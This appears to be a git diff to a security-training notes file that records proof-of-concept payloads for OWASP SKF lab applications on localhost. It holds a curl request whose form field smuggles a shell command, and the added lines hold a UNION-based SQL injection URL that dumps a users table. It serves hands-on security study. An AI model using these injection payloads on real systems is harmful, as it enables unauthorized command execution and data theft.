diff --git a/Sectraining/proof.md b/Sectraining/proof.md
index 0e0e79a..3d492ee 100644
--- a/Sectraining/proof.md
+++ b/Sectraining/proof.md
@@ -25,3 +25,8 @@ curl 'http://localhost:5000/home' \
    -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQJEtZoqQ8I4ZmYVs' \
   --data-raw $'------WebKitFormBoundaryQJEtZoqQ8I4ZmYVs\r\nContent-Disposition: form-data; name="size"\r\n\r\n1;echo hi>/tmp/out;\r\n------WebKitFormBoundaryQJEtZoqQ8I4ZmYVs--\r\n' \
 ```
+
+## owasp-skf-lab:java-sqli
+
+exploit
+`http://localhost:5000/home/1%20union%20select%20*%20from%20users`